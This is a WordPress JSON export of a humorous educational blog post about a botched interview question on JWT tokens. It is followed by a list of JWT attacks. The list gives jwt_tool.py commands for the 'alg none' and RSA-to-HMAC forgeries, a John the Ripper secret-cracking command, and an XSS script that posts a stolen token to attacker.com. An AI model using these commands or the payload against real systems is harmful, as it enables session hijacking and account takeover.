{"id":971,"date":"2024-03-23T02:18:35","date_gmt":"2024-03-23T02:18:35","guid":{"rendered":"https:\/\/hacking.cool\/?p=971"},"modified":"2024-03-23T02:18:36","modified_gmt":"2024-03-23T02:18:36","slug":"the-curious-tale-of-jwt-tokens-and-an-interview-gone-awry","status":"publish","type":"post","link":"https:\/\/hacking.cool\/atomanya\/the-curious-tale-of-jwt-tokens-and-an-interview-gone-awry\/","title":{"rendered":"The Curious Tale of JWT Tokens and an Interview Gone Awry"},"content":{"rendered":"
\n
\"\"<\/figure><\/div>\n\n\n

Once upon a time in the digital kingdom, there lived a peculiar little creature known as the JWT Token. It was a curious being, part Header, part Payload, and part Signature. Together, they lived in harmony, carrying secrets and tales from one end of the web to the other. But not all was well in the digital kingdom, for where there is treasure, there are also pirates. And so, our story begins with a tale of security, trickery, and a hilariously botched interview.<\/p>\n\n\n\n

The Anatomy of JWT Token: A Short and Sweet Introduction<\/h4>\n\n\n\n

Imagine if you will, a secret agent. Let’s call him… Agent J.W.T. He’s compact, efficient, and always carries a briefcase divided into three compartments: the Header (where he keeps his sunglasses), the Payload (where the secret messages are), and the Signature (his official seal of authenticity). When Agent J.W.T. travels from server to client, everyone knows the messages he carries are the real deal.<\/p>\n\n\n\n

The Day of the Dreaded Interview<\/h4>\n\n\n\n

A story of many years ago, enter our hero, a hopeful candidate for a position of Hacker at the renowned Digital Security Firm. Armed with knowledge, charm, and a slightly overinflated sense of confidence, they faced the final question of the interview: “Explain JWT tokens and how might one, hypothetically, expose their vulnerabilities?”<\/p>\n\n\n\n

With a smile, our hero began, “Ah, JWT Tokens, are like sessions, cookies, they don’t invalidate when you logout the… uh…” The words began to tumble, a jumble of technical jargon and misplaced metaphors. “You see, they’re like the… the keys to the… no, no, more like the..”<\/p>\n\n\n\n

The panel waited. A tumbleweed of awkward silence rolled by.<\/p>\n\n\n\n

“Mmm, well, essentially, they… ensure… security. Through, um, encoding, and… signing. Yes, signing!” The once buoyant confidence deflated like a punctured balloon. Our hero’s mind had betrayed them, leaving them adrift in a sea of mumbled half-thoughts and technical inaccuracies.<\/p>\n\n\n\n

The interviewers exchanged glances. <\/p>\n\n\n\n

And though hero had danced with JWT tokens before, even cracked them open and waltzed away with their secrets. But when the spotlight of the interview shone, asking for a simple description of these familiar foes, the brain decided to take a vacation, fumbling through the words like a novice trying to spell “JWT” with alphabet soup.<\/p>\n\n\n\n

JWT Token Vulnerabilities: A More Technical Expedition<\/h4>\n\n\n\n

Undeterred by the interview misadventure, our protagonist dove deeper into the realm of JWT Tokens, emerging with not just understanding but technical prowess. Here’s what they discovered:<\/p>\n\n\n\n

The ‘None’ Algorithm Exploit<\/strong>: By manipulating the Header to specify \"alg\": \"none\"<\/code>, an attacker could bypass the signature verification process entirely.<\/p>\n\n\n\n

Real-world attack<\/strong>: Using jwt_tool.py<\/code>, a powerful JWT manipulation tool, one could modify an existing JWT header to \"alg\": \"none\"<\/code> and forge a token that passes authentication checks.<\/p>\n\n\n\n

jwt_tool.py <token> -T -hc '{\"alg\":\"none\"}'<\/code><\/pre>\n\n\n\n
RSA to HMAC Switch<\/strong>: An attacker might deceive a server into using a public RSA key as if it were an HMAC secret key, allowing them to forge valid tokens.<\/p>\n\n\n\n
Technical dive<\/strong>: With jwt_tool.py<\/code>, this vulnerability could be exploited by generating a token using the public key as the HMAC secret.<\/p>\n\n\n\n
jwt_tool.py <token> -X k -pk public.key<\/code><\/pre>\n\n\n\n
Secret Key Brute Forcing<\/strong>: A weak secret key could be brute-forced to sign arbitrary tokens.<\/p>\n\n\n\n
Commander of the attack<\/strong>: Utilizing John the Ripper<\/code> or hashcat<\/code>, an attacker could attempt to crack the secret key used in the token’s signature.<\/p>\n\n\n\n
john --wordlist=password.txt --format=HMAC-SHA256 jwt.john<\/code><\/code><\/pre>\n\n\n\n
Cross-Site Scripting (XSS) and Token Theft<\/strong>: If an application is vulnerable to XSS, an attacker could craft a script to extract JWT tokens stored in local storage or session cookies.<\/p>\n\n\n\n
The XSS concoction<\/strong>: Crafting malicious JavaScript payloads that, when executed, send the token to an attacker-controlled server.<\/p>\n\n\n\n
<script>fetch('https:\/\/attacker.com', { method: 'POST', body: localStorage.getItem('jwt')})<\/script>\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
Once upon a time in the digital kingdom, there lived a peculiar little creature known as the JWT Token. It was a curious being, part Header, part Payload, and part Signature. Together, they lived in harmony, carrying secrets and tales from one end of the web to the other. But not all was well in…<\/span><\/p>\n
Read More<\/a><\/p>\n","protected":false},"author":3,"featured_media":977,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-971","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"yoast_head":"\nThe Curious Tale of JWT Tokens and an Interview Gone Awry - hacking.cool<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hacking.cool\/atomanya\/the-curious-tale-of-jwt-tokens-and-an-interview-gone-awry\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"The Curious Tale of JWT Tokens and an Interview Gone Awry - hacking.cool\" \/>\n<meta property=\"og:description\" content=\"Once upon a time in the digital kingdom, there lived a peculiar little creature known as the JWT Token. It was a curious being, part Header, part Payload, and part Signature. Together, they lived in harmony, carrying secrets and tales from one end of the web to the other. But not all was well in…Read More\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hacking.cool\/atomanya\/the-curious-tale-of-jwt-tokens-and-an-interview-gone-awry\/\" \/>\n<meta property=\"og:site_name\" content=\"hacking.cool\" \/>\n<meta property=\"article:published_time\" content=\"2024-03-23T02:18:35+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-03-23T02:18:36+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/03\/12482d44-7a07-4088-a98d-6705228ea0d5.webp\" \/>\n\t<meta property=\"og:image:width\" content=\"1792\" \/>\n\t<meta property=\"og:image:height\" content=\"1024\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/webp\" \/>\n<meta name=\"author\" content=\"Atom\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Atom\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/#website\",\"url\":\"https:\/\/hacking.cool\/atomanya\/\",\"name\":\"hacking.cool\",\"description\":\"is the hacking school \ud83d\udc69\ud83c\udffb\u200d\ud83d\udcbb\ud83e\uddd1\ud83c\udffb\u200d\ud83d\udcbb\ud83d\uddfa\ud83d\udcda\ud83d\udcd6\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/hacking.cool\/atomanya\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/the-curious-tale-of-jwt-tokens-and-an-interview-gone-awry\/#primaryimage\",\"url\":\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/03\/12482d44-7a07-4088-a98d-6705228ea0d5.webp\",\"contentUrl\":\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/03\/12482d44-7a07-4088-a98d-6705228ea0d5.webp\",\"width\":1792,\"height\":1024},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/the-curious-tale-of-jwt-tokens-and-an-interview-gone-awry\/\",\"url\":\"https:\/\/hacking.cool\/atomanya\/the-curious-tale-of-jwt-tokens-and-an-interview-gone-awry\/\",\"name\":\"The Curious Tale of JWT Tokens and an Interview Gone Awry - hacking.cool\",\"isPartOf\":{\"@id\":\"https:\/\/hacking.cool\/atomanya\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/hacking.cool\/atomanya\/the-curious-tale-of-jwt-tokens-and-an-interview-gone-awry\/#primaryimage\"},\"datePublished\":\"2024-03-23T02:18:35+00:00\",\"dateModified\":\"2024-03-23T02:18:36+00:00\",\"author\":{\"@id\":\"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/804a839cfa61d89d69fb2cf1d2f0adc2\"},\"breadcrumb\":{\"@id\":\"https:\/\/hacking.cool\/atomanya\/the-curious-tale-of-jwt-tokens-and-an-interview-gone-awry\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/hacking.cool\/atomanya\/the-curious-tale-of-jwt-tokens-and-an-interview-gone-awry\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/the-curious-tale-of-jwt-tokens-and-an-interview-gone-awry\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/hacking.cool\/atomanya\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"The Curious Tale of JWT Tokens and an Interview Gone Awry\"}]},{\"@type\":\"Person\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/804a839cfa61d89d69fb2cf1d2f0adc2\",\"name\":\"Atom\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/ac4d05ec7d617e7f2dee5855900a855a?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/ac4d05ec7d617e7f2dee5855900a855a?s=96&d=mm&r=g\",\"caption\":\"Atom\"},\"url\":\"https:\/\/hacking.cool\/atomanya\/author\/atom\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"The Curious Tale of JWT Tokens and an Interview Gone Awry - hacking.cool","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hacking.cool\/atomanya\/the-curious-tale-of-jwt-tokens-and-an-interview-gone-awry\/","og_locale":"en_US","og_type":"article","og_title":"The Curious Tale of JWT Tokens and an Interview Gone Awry - hacking.cool","og_description":"Once upon a time in the digital kingdom, there lived a peculiar little creature known as the JWT Token. It was a curious being, part Header, part Payload, and part Signature. Together, they lived in harmony, carrying secrets and tales from one end of the web to the other. But not all was well in…Read More","og_url":"https:\/\/hacking.cool\/atomanya\/the-curious-tale-of-jwt-tokens-and-an-interview-gone-awry\/","og_site_name":"hacking.cool","article_published_time":"2024-03-23T02:18:35+00:00","article_modified_time":"2024-03-23T02:18:36+00:00","og_image":[{"width":1792,"height":1024,"url":"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/03\/12482d44-7a07-4088-a98d-6705228ea0d5.webp","type":"image\/webp"}],"author":"Atom","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Atom","Est. reading time":"3 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"https:\/\/hacking.cool\/atomanya\/#website","url":"https:\/\/hacking.cool\/atomanya\/","name":"hacking.cool","description":"is the hacking school \ud83d\udc69\ud83c\udffb\u200d\ud83d\udcbb\ud83e\uddd1\ud83c\udffb\u200d\ud83d\udcbb\ud83d\uddfa\ud83d\udcda\ud83d\udcd6","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hacking.cool\/atomanya\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hacking.cool\/atomanya\/the-curious-tale-of-jwt-tokens-and-an-interview-gone-awry\/#primaryimage","url":"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/03\/12482d44-7a07-4088-a98d-6705228ea0d5.webp","contentUrl":"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/03\/12482d44-7a07-4088-a98d-6705228ea0d5.webp","width":1792,"height":1024},{"@type":"WebPage","@id":"https:\/\/hacking.cool\/atomanya\/the-curious-tale-of-jwt-tokens-and-an-interview-gone-awry\/","url":"https:\/\/hacking.cool\/atomanya\/the-curious-tale-of-jwt-tokens-and-an-interview-gone-awry\/","name":"The Curious Tale of JWT Tokens and an Interview Gone Awry - hacking.cool","isPartOf":{"@id":"https:\/\/hacking.cool\/atomanya\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hacking.cool\/atomanya\/the-curious-tale-of-jwt-tokens-and-an-interview-gone-awry\/#primaryimage"},"datePublished":"2024-03-23T02:18:35+00:00","dateModified":"2024-03-23T02:18:36+00:00","author":{"@id":"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/804a839cfa61d89d69fb2cf1d2f0adc2"},"breadcrumb":{"@id":"https:\/\/hacking.cool\/atomanya\/the-curious-tale-of-jwt-tokens-and-an-interview-gone-awry\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hacking.cool\/atomanya\/the-curious-tale-of-jwt-tokens-and-an-interview-gone-awry\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/hacking.cool\/atomanya\/the-curious-tale-of-jwt-tokens-and-an-interview-gone-awry\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/hacking.cool\/atomanya\/"},{"@type":"ListItem","position":2,"name":"The Curious Tale of JWT Tokens and an Interview Gone Awry"}]},{"@type":"Person","@id":"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/804a839cfa61d89d69fb2cf1d2f0adc2","name":"Atom","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/ac4d05ec7d617e7f2dee5855900a855a?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/ac4d05ec7d617e7f2dee5855900a855a?s=96&d=mm&r=g","caption":"Atom"},"url":"https:\/\/hacking.cool\/atomanya\/author\/atom\/"}]}},"jetpack_featured_media_url":"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/03\/12482d44-7a07-4088-a98d-6705228ea0d5.webp","_links":{"self":[{"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/posts\/971","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/comments?post=971"}],"version-history":[{"count":6,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/posts\/971\/revisions"}],"predecessor-version":[{"id":978,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/posts\/971\/revisions\/978"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/media\/977"}],"wp:attachment":[{"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/media?parent=971"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/categories?post=971"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/tags?post=971"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}